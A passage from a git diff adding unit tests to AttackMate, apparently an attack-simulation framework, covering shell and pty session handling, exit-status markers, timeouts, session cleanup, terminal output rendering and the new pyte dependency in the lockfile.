test_pipe_session_gets_its_own_process_group(shell_executor): + """Signalling the group is only safe once the session leads its own. + + Without start_new_session the session shares AttackMate's process group, + and terminating it would take AttackMate down with it. + """ + await shell_executor._exec_cmd( + ShellCommand( + type='shell', cmd='echo hi\n', interactive=True, + creates_session='grouped', command_timeout=2, + ) + ) + proc = shell_executor.session_store.get_handle_by_session('grouped') + + assert os.getpgid(proc.pid) != os.getpgid(0) + assert os.getpgid(proc.pid) == proc.pid, 'the session shell should lead its group' + + +@pytest.mark.asyncio +async def test_ordinary_command_keeps_the_parent_process_group(shell_executor, monkeypatch): + """Only sessions are detached; a plain command still shares our group, so a + Ctrl-C at the terminal reaches it as before.""" + captured = {} + real_popen = subprocess.Popen + + def spy(*args, **kwargs): + captured.update(kwargs) + return real_popen(*args, **kwargs) + + monkeypatch.setattr(subprocess, 'Popen', spy) + await shell_executor._exec_cmd(ShellCommand(type='shell', cmd='echo plain')) + + assert captured.get('start_new_session') is False + + +@pytest.mark.asyncio +async def test_cleanup_runs_even_when_the_run_fails(monkeypatch, free_port): + """Cleanup lives in a finally, so it happens however the run ends. + + exit_on_error, error_if and the loop conditions all end a run with + exit(1). The resulting SystemExit is neither an Exception nor a + KeyboardInterrupt, so it used to pass straight through main() and skip + teardown entirely - leaving a live session on the target. + """ + attackmate = AttackMate.__new__(AttackMate) + attackmate.logger = logging.getLogger('playbook') + attackmate.pm = ProcessManager() + attackmate.executors = {} + attackmate.playbook = type('PB', (), {'commands': []})() + + cleaned = {'sessions': False, 'processes': False} + + async def fake_clean(): + cleaned['sessions'] = True + + monkeypatch.setattr(attackmate, 'clean_session_stores', fake_clean) + monkeypatch.setattr( + attackmate.pm, 'kill_or_wait_processes', + lambda: cleaned.__setitem__('processes', True) + ) + + async def boom(_commands): + raise SystemExit(1) + + monkeypatch.setattr(attackmate, '_run_commands', boom) + + with pytest.raises(SystemExit): + await attackmate.main() + + assert cleaned['sessions'], 'session stores were not cleaned on SystemExit' + assert cleaned['processes'], 'background processes were not stopped on SystemExit' + + +@pytest.mark.asyncio +async def test_failing_cleanup_does_not_mask_the_original_failure(monkeypatch): + attackmate = AttackMate.__new__(AttackMate) + attackmate.logger = logging.getLogger('playbook') + attackmate.pm = ProcessManager() + attackmate.executors = {} + attackmate.playbook = type('PB', (), {'commands': []})() + + async def broken_clean(): + raise RuntimeError('teardown exploded') + + monkeypatch.setattr(attackmate, 'clean_session_stores', broken_clean) + monkeypatch.setattr(attackmate.pm, 'kill_or_wait_processes', lambda: None) + + async def boom(_commands): + raise ValueError('the real failure') + + monkeypatch.setattr(attackmate, '_run_commands', boom) + + with pytest.raises(ValueError, match='the real failure'): + await attackmate.main() diff --git a/test/units/test_session_command.py b/test/units/test_session_command.py new file mode 100644 index 000000000..310ab847e --- /dev/null +++ b/test/units/test_session_command.py @@ -0,0 +1,256 @@ +import os + +import pytest +from pydantic import ValidationError + +from attackmate.attackmate import AttackMate +from attackmate.executors.common.terminal import (append_exit_marker, make_exit_marker, + split_exit_marker) +from attackmate.executors.shell.shellexecutor import ShellExecutor +from attackmate.processmanager import ProcessManager +from attackmate.schemas.playbook import Playbook +from attackmate.schemas.session import SessionCommand +from attackmate.schemas.shell import ShellCommand +from attackmate.variablestore import VariableStore + +pytestmark = pytest.mark.skipif(os.name != 'posix', reason='spawns real shells') + +PROMPTS = ['# ', '$ '] + + +@pytest.fixture +def shell_executor(): + executor = ShellExecutor(ProcessManager(), VariableStore()) + try: + yield executor + finally: + executor.cleanup() + + +# --- wait_for_exit and read_timeout ---------------------------------------- + + +def test_marker_terminates_the_line_so_it_can_be_matched(): + """The status has to come before the marker. With the marker first the line + ends in digits, and nothing that matches on a trailing token can see it.""" + marker = make_exit_marker() + sent = append_exit_marker('./scan.sh', marker) + assert sent.rstrip().endswith(f'{marker}"') + + +def test_split_exit_marker_extracts_status_and_removes_the_marker(): + marker = make_exit_marker() + output, status = split_exit_marker(f'real output\r\n42{marker}\r\n', marker) + assert output == 'real output' + assert status == 42 + + +def test_split_exit_marker_reports_none_before_the_command_finished(): + """No marker yet means the read stopped early, not that it succeeded.""" + assert split_exit_marker('partial', make_exit_marker()) == ('partial', None) + + +def test_wait_for_exit_is_rejected_in_bin_mode(): + """bin mode sends raw bytes, which cannot carry an appended marker.""" + with pytest.raises(ValidationError, match='bin mode'): + ShellCommand(type='shell', cmd='6964', bin=True, wait_for_exit=True) + + +@pytest.mark.asyncio +async def test_wait_for_exit_waits_for_completion_and_reports_the_status(shell_executor): + """command_timeout is an idle timeout, so a script that prints nothing for + a while looks finished when it is not. This is the linpeas case.""" + command = ShellCommand( + type='shell', pty=True, creates_session='w', + cmd='sleep 3; echo SCRIPT_DONE; (exit 3)', + command_timeout=1, wait_for_exit=True, + ) + result = await shell_executor._exec_cmd(command) + + assert 'SCRIPT_DONE' in result.stdout + assert result.exit_status == 3 + # The marker itself must not survive into the recorded output. + assert '__ATTACKMATE_EXIT_' not in result.stdout + + +@pytest.mark.asyncio +async def test_idle_timeout_alone_returns_before_the_command_finished(shell_executor): + """The behaviour wait_for_exit exists to fix.""" + result = await shell_executor._exec_cmd( + ShellCommand(type='shell', pty=True, creates_session='i', + cmd='sleep 3; echo SCRIPT_DONE\n', command_timeout=1) + ) + assert 'SCRIPT_DONE' not in result.stdout + + +@pytest.mark.asyncio +async def test_read_timeout_bounds_a_command_that_never_goes_quiet(shell_executor): + """The idle timeout cannot end a command that keeps producing output.""" + result = await shell_executor._exec_cmd( + ShellCommand(type='shell', pty=True, creates_session='r', + cmd='while true; do echo spam; done\n', + command_timeout=30, read_timeout=2) + ) + assert 'spam' in result.stdout + + +# --- the session command ---------------------------------------------------- + + +@pytest.fixture +def attackmate_with_session(): + attackmate = AttackMate(playbook=Playbook(commands=[], vars={})) + try: + yield attackmate + finally: + for executor in attackmate.executors.values(): + if hasattr(executor, 'cleanup'): + executor.cleanup() + + +async def open_shell_session(attackmate, name='foothold'): + await attackmate.run_command( + ShellCommand(type='shell', cmd='echo alive\n', interactive=True, + creates_session=name, command_timeout=2) + ) + + +@pytest.mark.asyncio +async def test_status_reports_a_live_session(attackmate_with_session): + await open_shell_session(attackmate_with_session) + result = await attackmate_with_session.run_command( + SessionCommand(type='session', cmd='status', session='foothold') + ) + assert result.returncode == 0 + assert 'is alive' in result.stdout + + +@pytest.mark.asyncio +async def test_close_ends_a_session_early(attackmate_with_session): + """Sessions used to live until the end of the run with no way to close one.""" + await open_shell_session(attackmate_with_session) + result = await attackmate_with_session.run_command( + SessionCommand(type='session', cmd='close', session='foothold') + ) + + assert result.returncode == 0 + store = attackmate_with_session.executors['shell'].session_store + assert not store.session_exists('foothold') + + +@pytest.mark.asyncio +async def test_status_after_close_reports_it_is_gone(attackmate_with_session): + await open_shell_session(attackmate_with_session) + await attackmate_with_session.run_command( + SessionCommand(type='session', cmd='close', session='foothold') + ) + result = await attackmate_with_session.run_command( + SessionCommand(type='session', cmd='status', session='foothold', exit_on_error=False) + ) + assert result.returncode == 1 + + +@pytest.mark.asyncio +async def test_unknown_session_fails_without_ending_the_run(attackmate_with_session): + """An executor that has never run has no sessions, rather than no store.""" + result = await attackmate_with_session.run_command( + SessionCommand(type='session', cmd='close', session='nope', + executor='ssh', exit_on_error=False) + ) + assert result.returncode == 1 + assert 'does not exist' in result.stdout + + +@pytest.mark.asyncio +async def test_closing_a_pty_session_also_works(attackmate_with_session): + """The shell store holds two kinds of session and both must be reachable.""" + await attackmate_with_session.run_command( + ShellCommand(type='shell', cmd='echo alive\n', pty=True, + creates_session='ptysess', command_timeout=2, prompts=PROMPTS) + ) + result = await attackmate_with_session.run_command( + SessionCommand(type='session', cmd='close', session='ptysess') + ) + + assert result.returncode == 0 + assert not attackmate_with_session.executors['shell'].session_store.session_exists('ptysess') + + +# --- environment overrides -------------------------------------------------- + + +def test_env_override_reports_what_it_replaced(monkeypatch): + """The playbook on disk otherwise does not fully determine what ran, and + nothing recorded the difference.""" + monkeypatch.setenv('ATTACKMATE_TARGET', 'from_environment') + store = VariableStore() + store.from_dict({'$TARGET': 'from_playbook', '$OTHER': 'untouched'}) + + replaced = store.replace_with_prefixed_env_vars() + + assert replaced == ['TARGET'] + assert store.get_variable('TARGET') == 'from_environment' + assert store.get_variable('OTHER') == 'untouched' + + +def test_env_override_reports_nothing_when_it_changed_nothing(): + assert VariableStore().replace_with_prefixed_env_vars() == [] + + +# --- wait_for_exit on a pipe-based session ---------------------------------- + + +@pytest.mark.asyncio +async def test_wait_for_exit_works_without_a_pty(shell_executor): + """The pipe path needs the marker as much as the pty one does. Its idle + timeout has the same blind spot: a command that pauses looks finished.""" + result = await shell_executor._exec_cmd( + ShellCommand(type='shell', interactive=True, creates_session='pipe', + cmd='sleep 3; echo PIPE_DONE; (exit 9)', + command_timeout=1, wait_for_exit=True) + ) + + assert 'PIPE_DONE' in result.stdout + assert result.exit_status == 9 + assert '__ATTACKMATE_EXIT_' not in result.stdout + + +@pytest.mark.asyncio +async def test_pipe_idle_timeout_alone_still_returns_early(shell_executor): + result = await shell_executor._exec_cmd( + ShellCommand(type='shell', interactive=True, creates_session='pipeidle', + cmd='sleep 3; echo PIPE_DONE\n', command_timeout=1) + ) + assert 'PIPE_DONE' not in result.stdout + + +@pytest.mark.asyncio +async def test_read_timeout_bounds_the_pipe_path_too(shell_executor): + result = await shell_executor._exec_cmd( + ShellCommand(type='shell', interactive=True, creates_session='pipespam', + cmd='while true; do echo spam; done\n', + command_timeout=30, read_timeout=2) + ) + assert 'spam' in result.stdout + + +@pytest.mark.asyncio +async def test_wait_for_exit_gives_up_when_the_session_dies(shell_executor): + """Waiting for a marker that can never arrive must not hang the run.""" + result = await shell_executor._exec_cmd( + ShellCommand(type='shell', interactive=True, + cmd='exit 5', command_timeout=1, wait_for_exit=True) + ) + # The shell exited before echoing the marker, so there is no status to report. + assert result.exit_status is None + + +@pytest.mark.asyncio +async def test_non_interactive_command_gets_no_marker(shell_executor): + """It is run to completion anyway and already reports a real status, so + rewriting the command there would buy nothing.""" + result = await shell_executor._exec_cmd( + ShellCommand(type='shell', cmd="sh -c 'exit 4'", wait_for_exit=True) + ) + assert result.exit_status == 4 + assert '__ATTACKMATE_EXIT_' not in result.stdout diff --git a/test/units/test_shellexecutor.py b/test/units/test_shellexecutor.py index ef1dfa32c..f1b4a451d 100644 --- a/test/units/test_shellexecutor.py +++ b/test/units/test_shellexecutor.py @@ -1,6 +1,9 @@ +import pickle + import pytest from unittest.mock import MagicMock, patch import subprocess +from attackmate.executors.shell.sessionstore import SessionStore from attackmate.executors.shell.shellexecutor import ShellExecutor from attackmate.execexception import ExecException from attackmate.schemas.shell import ShellCommand @@ -12,6 +15,9 @@ def mock_popen(): mock_popen_instance = MagicMock(spec=subprocess.Popen) mock_popen_instance.communicate.return_value = (b'stdout', b'stderr') + # communicate() sets this on a real Popen, and the executor now reads it to + # report a true exit status. + mock_popen_instance.returncode = 0 with patch('subprocess.Popen', return_value=mock_popen_instance) as mock: yield mock, mock_popen_instance @@ -147,3 +153,29 @@ async def test_execution_of_command_with_non_utf8_output(shell_executor): result = await shell_executor._exec_cmd(command) assert result.stdout == 'ok�done' + + +def test_session_store_stays_picklable_with_a_live_session(): + """A background command pickles the whole executor, session store included. + + features/background.py dispatches with a 'spawn' context and a bound method + as the target, so a playbook that opens a session and later runs any + background command used to die with + "TypeError: cannot pickle '_thread.lock' object". + """ + store = SessionStore() + proc = subprocess.Popen( + ['/bin/sh'], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE + ) + try: + store.set_session('s', proc, 'sh') + + restored = pickle.loads(pickle.dumps(store)) + + # Emptied, not None, so a lookup in the child raises the usual KeyError + # instead of "argument of type 'NoneType' is not iterable". + assert restored.store == {} + with pytest.raises(KeyError): + restored.get_handle_by_session('s') + finally: + proc.kill() diff --git a/test/units/test_shellexecutor_pty.py b/test/units/test_shellexecutor_pty.py new file mode 100644 index 000000000..8f9b43133 --- /dev/null +++ b/test/units/test_shellexecutor_pty.py @@ -0,0 +1,210 @@ +import os +import pickle + +import pytest +from pydantic import ValidationError + +from attackmate.execexception import ExecException +from attackmate.executors.shell.shellexecutor import ShellExecutor +from attackmate.executors.shell.ptysession import PtySession +from attackmate.executors.shell.sessionstore import SessionStore +from attackmate.processmanager import ProcessManager +from attackmate.schemas.shell import ShellCommand +from attackmate.variablestore import VariableStore + +pytestmark = pytest.mark.skipif(os.name != 'posix', reason='pty requires a Unix-like OS') + +PROMPTS = ['# ', '$ '] + + +@pytest.fixture +def shell_executor(): + executor = ShellExecutor(ProcessManager(), VariableStore()) + try: + yield executor + finally: + executor.cleanup() + + +def pty_command(cmd: str, **kwargs) -> ShellCommand: + options = dict(type='shell', cmd=cmd, pty=True, command_timeout=5, prompts=PROMPTS) + options.update(kwargs) + return ShellCommand(**options) + + +# --- schema ----------------------------------------------------------------- + + +@pytest.mark.parametrize( + 'options, expected', + [ + ({}, False), + ({'pty': True}, True), + ({'pty': True, 'expand_keys': False}, False), + ({'pty': False, 'expand_keys': True}, True), + ], +) +def test_expand_keys_defaults_to_pty(options, expected): + """On by default for pty only, but always explicitly overridable.""" + assert ShellCommand(type='shell', cmd='x', **options).expand_keys is expected + + +def test_expand_keys_survives_the_remote_hop(): + """attackmate-client dumps with exclude_none, which would drop a None default. + + A remote executor re-validates the dumped dict, so the resolved value has + to be carried explicitly rather than re-derived. + """ + for pty, expand, expected in [(True, None, True), (True, False, False)]: + options = {'pty': pty} if expand is None else {'pty': pty, 'expand_keys': expand} + dumped = ShellCommand(type='shell', cmd='x', **options).model_dump(exclude_none=True) + assert ShellCommand(**dumped).expand_keys is expected + + +def test_background_with_session_still_rejected(): + with pytest.raises(ValidationError): + ShellCommand(type='shell', cmd='x', pty=True, background=True, creates_session='s') + + +# --- executor --------------------------------------------------------------- + + +@pytest.mark.asyncio +async def test_pty_gives_the_command_a_terminal(shell_executor): + """The same command reports RESULT=no on the pipe path. + + printf assembles the marker so the terminal's echo of the command line + cannot contain it and make the assertion pass for free. + """ + result = await shell_executor._exec_cmd( + pty_command("test -t 0 && printf 'RESULT=%s\\n' yes || printf 'RESULT=%s\\n' no\n") + ) + assert 'RESULT=yes' in result.stdout + assert result.returncode == 0 + + +@pytest.mark.asyncio +async def test_pty_reports_the_configured_window_size(shell_executor): + result = await shell_executor._exec_cmd(pty_command('stty size\n', pty_rows=40, pty_cols=100)) + assert '40 100' in result.stdout + + +@pytest.mark.asyncio +async def test_pty_session_persists_shell_state(shell_executor): + await shell_executor._exec_cmd(pty_command('MARKER=42\n', creates_session='s')) + result = await shell_executor._exec_cmd(pty_command('echo $MARKER\n', session='s')) + assert '42' in result.stdout + + +def test_pty_expands_keys(shell_executor): + """Asserted on the bytes sent, not on output: the terminal echoes the + command back, so output-based assertions here prove nothing.""" + assert shell_executor.encode_cmd(pty_command('ab\n')) == b'a\x1bb\x18\n' + assert shell_executor.encode_cmd(pty_command('ab\n', expand_keys=False)) == b'ab\n' + + +@pytest.mark.asyncio +async def test_pty_does_not_mutate_the_command(shell_executor): + """The JSON audit log serialises the command after it ran, and Looper + re-executes the same object - so cmd must still hold what was written.""" + command = pty_command('echo done\n') + await shell_executor._exec_cmd(command) + assert command.cmd == 'echo done\n' + + +def test_pty_bin_mode_is_not_key_expanded(shell_executor): + """Hex mode carries raw bytes; expanding keys over it would corrupt them.""" + assert shell_executor.encode_cmd(pty_command('6563686f2069640a', bin=True)) == b'echo id\n' + + +@pytest.mark.asyncio +async def test_dead_pty_session_reports_clearly(shell_executor): + """Without this check the failure surfaces as a confusing write error. + + _exec_cmd raises; BaseExecutor.exec is what turns an ExecException into a + Result for the playbook. + """ + await shell_executor._exec_cmd(pty_command('echo alive\n', creates_session='dead')) + shell_executor.session_store.get_pty_by_session('dead').close() + + with pytest.raises(ExecException, match='has exited'): + await shell_executor._exec_cmd(pty_command('echo again\n', session='dead')) + + +@pytest.mark.asyncio +async def test_screen_mode_renders_the_screen(shell_executor): + result = await shell_executor._exec_cmd( + pty_command('printf "\\033[2J\\033[Hclean\\n"\n', screen=True, pty_rows=10, pty_cols=40) + ) + assert 'clean' in result.stdout + # The screen is rendered, not the byte stream, so no escape text survives. + assert '[2J' not in result.stdout + + +@pytest.mark.asyncio +async def test_read_false_returns_immediately(shell_executor): + result = await shell_executor._exec_cmd(pty_command('echo ignored\n', read=False)) + assert result.stdout == '' + + +@pytest.mark.asyncio +async def test_windows_is_refused_rather_than_crashing(shell_executor, monkeypatch): + monkeypatch.setattr( + 'attackmate.executors.shell.shellexecutor.platform.system', lambda: 'Windows' + ) + result = await shell_executor._exec_cmd(pty_command('echo x\n')) + assert result.returncode == 1 + assert 'Unix' in result.stdout + + +@pytest.mark.asyncio +async def test_pipe_path_is_unaffected(shell_executor): + """No pty means the original behaviour, including no key expansion.""" + command = ShellCommand(type='shell', cmd='echo id') + assert command.pty is False + assert command.expand_keys is False + result = await shell_executor._exec_cmd(command) + assert result.stdout == 'id\n' + + +@pytest.mark.asyncio +async def test_cleanup_closes_pty_sessions(shell_executor): + await shell_executor._exec_cmd(pty_command('echo x\n', creates_session='s')) + session = shell_executor.session_store.get_pty_by_session('s') + + shell_executor.cleanup() + + assert shell_executor.session_store.pty_store == {} + assert not session.is_alive() + + +# --- pickling --------------------------------------------------------------- + + +def test_pty_store_is_dropped_when_pickled(): + """A pty session owns a file descriptor and a Popen, so it cannot survive + the pickling that dispatching a background command performs.""" + store = SessionStore() + pty_session = PtySession('/bin/sh') + try: + store.set_pty_session('pty', pty_session) + + restored = pickle.loads(pickle.dumps(store)) + + # Emptied, not None: a lookup in the child must raise KeyError (which + # becomes an ExecException) rather than a TypeError on None. + assert restored.pty_store == {} + with pytest.raises(KeyError): + restored.get_pty_by_session('pty') + finally: + pty_session.close() + + +def test_executor_pickles_with_a_live_session(): + executor = ShellExecutor(ProcessManager(), VariableStore()) + pty_session = PtySession('/bin/sh') + try: + executor.session_store.set_pty_session('s', pty_session) + assert pickle.loads(pickle.dumps(executor)).session_store.pty_store == {} + finally: + pty_session.close() diff --git a/test/units/test_terminal.py b/test/units/test_terminal.py new file mode 100644 index 000000000..3348376a3 --- /dev/null +++ b/test/units/test_terminal.py @@ -0,0 +1,139 @@ +import pytest + +from attackmate.executors.common.terminal import ( + TerminalScreen, + apply_overwrites, + expand_keys, + render_output, + strip_ansi, +) + + +@pytest.mark.parametrize( + 'text, expected', + [ + ('', '\x1b'), + ('', '\x1b'), + ('', '\r'), + ('', '\t'), + ('', '\x1b[A'), + ('', '\x1bOP'), + ('iHello:wq!', 'iHello\x1b:wq!\r'), + ], +) +def test_expand_keys_named(text, expected): + assert expand_keys(text) == expected + + +@pytest.mark.parametrize( + 'text, expected', + [ + ('', '\x18'), + ('', '\x0f'), + ('', '\x03'), + ], +) +def test_expand_keys_control(text, expected): + assert expand_keys(text) == expected + + +def test_expand_keys_leaves_unknown_markup_alone(): + """Ordinary text with angle brackets must survive key expansion.""" + assert expand_keys('a < b and c d') == 'a < b and c d' + + +def test_expand_keys_escape_hatch(): + """ is how a literal '<' is typed while expansion is on.""" + assert expand_keys('ESC') == '' + + +def test_expand_keys_is_not_idempotent_so_callers_must_not_mutate(): + """Guards the reason ShellExecutor.encode_cmd works on a copy. + + Looper re-executes the same command object, so expanding in place would + turn a literal into a real escape byte on the second pass. + """ + once = expand_keys('ESC') + assert once == '' + assert expand_keys(once) == '\x1b' + + +@pytest.mark.parametrize( + 'text, expected', + [ + ('\x1b[31mred\x1b[0m', 'red'), + ('\x1b]0;title\x07rest', 'rest'), + ('a\r\nb', 'a\nb'), + ('\x1b[?1049h\x1b[22;0;0thi', 'hi'), + # ESC = and ESC > are emitted by shells around every prompt. + ('x\x1b>y\x1b=z', 'xyz'), + ('keep\ttab', 'keep\ttab'), + ], +) +def test_strip_ansi(text, expected): + assert strip_ansi(text) == expected + + +@pytest.mark.parametrize( + 'text, expected', + [ + # A carriage return rewrites the line rather than adding to it. + ('progress 10%\rprogress 99%', 'progress 99%'), + # Shell autocompletion backspaces over what it echoed. + ('p\x08printf', 'printf'), + ('abc\rx', 'xbc'), + # A bare carriage return moves the cursor but erases nothing. + ('padded \r', 'padded '), + ], +) +def test_apply_overwrites(text, expected): + assert apply_overwrites(text) == expected + + +def test_strip_ansi_keeps_the_trailing_space_of_a_prompt(): + """The default prompts ('$ ', '# ', '> ') all end in a space, so trimming + it would stop prompt matching from ever terminating a read.""" + assert strip_ansi('\x1b[32mroot@host:~# \x1b[0m').endswith('# ') + + +def test_render_output_strips_by_default(): + assert render_output(b'\x1b[1mbold\x1b[0m plain') == 'bold plain' + + +def test_render_output_can_keep_escapes(): + assert '\x1b' in render_output(b'\x1b[1mbold\x1b[0m', strip=False) + + +def test_render_output_replaces_undecodable_bytes(): + """One bad byte must not end the playbook, as on the non-terminal paths.""" + assert render_output(b'ok\xc9done') == 'ok�done' + + +def test_screen_survives_private_sgr(): + """Regression guard for the pyte 0.8.2 crash. + + vim announces its key encoding with a private SGR sequence. Stock + pyte dispatches it as select_graphic_rendition(private=True) and raises + TypeError, which would take the whole playbook down. + """ + screen = TerminalScreen(rows=4, cols=30) + screen.feed(b'\x1b[>4;2mhello \x1b[1mbold\x1b[m world') + assert screen.display() == ['hello bold world'] + + +def test_screen_resolves_cursor_movement(): + """What separates screen mode from plain stripping.""" + screen = TerminalScreen(rows=3, cols=10) + screen.feed(b'aaa\rbbb') + assert screen.display() == ['bbb'] + + +def test_screen_reports_scrollback_only_once(): + """Each command must see its own output, not the whole session's.""" + screen = TerminalScreen(rows=4, cols=20, history=100) + screen.feed(b''.join(f'line{i}\r\n'.encode() for i in range(20))) + + first = screen.new_scrollback() + assert first + assert 'line0' in first[0] + assert screen.new_scrollback() == [] diff --git a/uv.lock b/uv.lock index 649f1649d..ae9109d14 100644 --- a/uv.lock +++ b/uv.lock @@ -101,6 +101,7 @@ dependencies = [ { name = "pyaml" }, { name = "pydantic" }, { name = "pymetasploit3" }, + { name = "pyte" }, { name = "pytest-mock" }, { name = "python-dotenv" }, { name = "python-magic" }, @@ -131,6 +132,7 @@ requires-dist = [ { name = "pyaml" }, { name = "pydantic", specifier = "~=2.5" }, { name = "pymetasploit3" }, + { name = "pyte" }, { name = "pytest-mock" }, { name = "python-dotenv", specifier = ">=1.1.0" }, { name = "python-magic" }, @@ -567,7 +569,7 @@ name = "exceptiongroup" version = "1.3.1" source = { registry = "https://pypi.org/simple" } dependencies = [ - { name = "typing-extensions", marker = "python_full_version < '3.13'" }, + { name = "typing-extensions" }, ] sdist = { url = "https://files.pythonhosted.org/packages/50/79/66800aadf48771f6b62f7eb014e352e5d06856655206165d775e675a02c9/exceptiongroup-1.3.1.tar.gz", hash = "sha256:8b412432c6055b0b7d14c310000ae93352ed6754f70fa8f7c34141f91c4e3219", size = 30371, upload-time = "2025-11-21T23:01:54.787Z" } wheels = [ @@ -1413,6 +1415,18 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/29/7d/5945b5af29534641820d3bd7b00962abbbdfee84ec7e19f0d5b3175f9a31/pynacl-1.6.2-cp38-abi3-win_arm64.whl", hash = "sha256:834a43af110f743a754448463e8fd61259cd4ab5bbedcf70f9dabad1d28a394c", size = 184801, upload-time = "2026-01-01T17:32:36.309Z" }, ] +[[package]] +name = "pyte" +version = "0.8.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "wcwidth" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/ab/ab/b599762933eba04de7dc5b31ae083112a6c9a9db15b01d3109ad797559d9/pyte-0.8.2.tar.gz", hash = "sha256:5af970e843fa96a97149d64e170c984721f20e52227a2f57f0a54207f08f083f", size = 92301, upload-time = "2023-11-12T09:33:43.217Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/59/d0/bb522283b90853afbf506cd5b71c650cf708829914efd0003d615cf426cd/pyte-0.8.2-py3-none-any.whl", hash = "sha256:85db42a35798a5aafa96ac4d8da78b090b2c933248819157fc0e6f78876a0135", size = 31627, upload-time = "2023-11-12T09:33:41.096Z" }, +] + [[package]] name = "pytest" version = "9.1.0" @@ -1773,6 +1787,15 @@ wheels = [ { url = "https://files.pythonhosted.org/packages/ac/5e/9a6f1fcf51fb63a65f35477cbb7b80bc3820d0d4d7cc2ee7263e06d1ab2c/vncdotool-1.3.0-py3-none-any.whl", hash = "sha256:0950fe66342d09df9848117627c2ca1a4c368e0e6583d39ac749741c50ac96ac", size = 35020, upload-time = "2026-04-03T13:53:20.428Z" }, ] +[[package]] +name = "wcwidth" +version = "0.8.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/36/57/ed58088fafdf4c55a0ad6bde846502567645424d7ebf325230b9237f4085/wcwidth-0.8.3.tar.gz", hash = "sha256:d128512515fbf4612e0ff21fd6380399210318b7b54a9af59dff8454cf9730eb", size = 1458450, upload-time = "2026-08-28T18:10:06.875Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/c4/0e/57f6bb3024a597b2e8ec4aee710ffe62ddc95af2e2bb1ee7a7abdc22c68c/wcwidth-0.8.3-py3-none-any.whl", hash = "sha256:d5b73dba6158a595ec9370350e7f2637bcac8d6c5e4fde34f30fcffb6103a5e4", size = 331669, upload-time = "2026-08-28T18:10:04.909Z" }, +] + [[package]] name = "wrapt" version = "2.2.1"